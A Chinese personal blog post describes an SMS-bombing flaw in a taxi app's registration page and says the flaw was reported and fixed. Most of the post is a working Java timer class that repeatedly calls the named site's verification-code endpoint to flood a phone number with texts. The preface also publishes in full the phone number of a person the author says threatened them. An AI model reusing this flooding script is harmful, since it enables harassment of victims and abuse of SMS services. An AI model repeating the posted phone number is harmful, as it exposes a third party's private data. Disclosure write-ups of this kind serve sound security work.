凤凰山笔记

爱召车注册页面短信DDOS攻击漏洞

写在前面:
刚才有人人身威胁我,说的孔武有力的,这哥们手机号:15953100682,我把你不爽的那句话删了,其他都是事实,有劲你去找你们研发人员,为难自己员工,真的好意思吗?
你们强制删微博,很好。这个博客的东西是我自己的,劳资哪怕不干了也不会删的。漏洞也当面告诉你们了,你们改不改BUG,看不看我博客你们随意。
公司做了一个召出租车的软件,偶然发现了一个注册页面的短信验证码DDOS攻击漏洞。于是简单写个java类进行攻击测试,果然可以无限制发送垃圾短信。无奈这个也算自己公司做的,所以果断发微博@他们官方微博告知,没想到不一会就一个小姑娘给我打电话送来感谢话语,而且叮嘱马上关了程序吧,说工程师马上改……~hoho

首先说下原理:短信验证码想法是好的,可以有效防止注册攻击。但是如果发送短信没有时间限制或者每日发送条数的显示,很容易被人用来制作短信炸弹。简单的说就是通过程序不断模拟发送短信的请求,从而对指定号码发送短信。当然现在都是智能手机,可以马上屏蔽掉,但是垃圾短信还是会发送到后台的,至少我用安卓手机测试是这样的。

手机测试截图:

JAVA 测试类代码,继承了一个TimerTask类,大家懂得,可以写个定时器定时执行。他们已经改了,所以不用试了,仅供参考。

public class SmsBomb3 extends TimerTask{

public static int times=0;

/**
 * @param args
 */
public static void main(String[] args) {
    // TODO Auto-generated method stub
     HttpClient client = new HttpClient();
     Map  paraMap=new HashMap();
         PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
        //NameValuePair a = new NameValuePair("phone","186XXXXOOOO");//186XXXXOOOO  
        //post.setRequestBody(new NameValuePair[] {a});

        //HttpMethod httpPost =getGetMethod();
        client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
        try {
            int status = client.executeMethod(post);
            System.out.println("status:"+status);
            System.out.println(post.getResponseBodyAsString());

        } catch (HttpException e) {
            e.printStackTrace(System.err);
        } catch (IOException e) {
            e.printStackTrace(System.err);
        }finally{
            post.releaseConnection();
        }
}

public void run() {
    // TODO Auto-generated method stub
    times=times+1;
    HttpClient client = new HttpClient();
    PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
        //HttpMethod httpPost =getGetMethod();
        client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
        try {
            int status = client.executeMethod(post);
            if(status==200)
            {
                System.out.println("ping success!"+times);
               // System.out.println(httpPost.getResponseBodyAsString());
            }
            else if(status==302)
            {
                System.out.println("页面请求返回值为:"+status);
                System.out.println(post.getResponseBodyAsString());
            }
            else
            {
                System.out.println("页面请求返回值为:"+status);
            }
        } catch (HttpException e) {
            e.printStackTrace(System.err);
        } catch (IOException e) {
            e.printStackTrace(System.err);
        }finally{
            post.releaseConnection();
        }
}

}

最后附上他们微博感谢的截图,嘿嘿

cloudroc wechat
欢迎您扫一扫上面的微信公众号,订阅我的博客!
很惭愧,只做了些微小的工作,您的支持将鼓励我继续努力创作!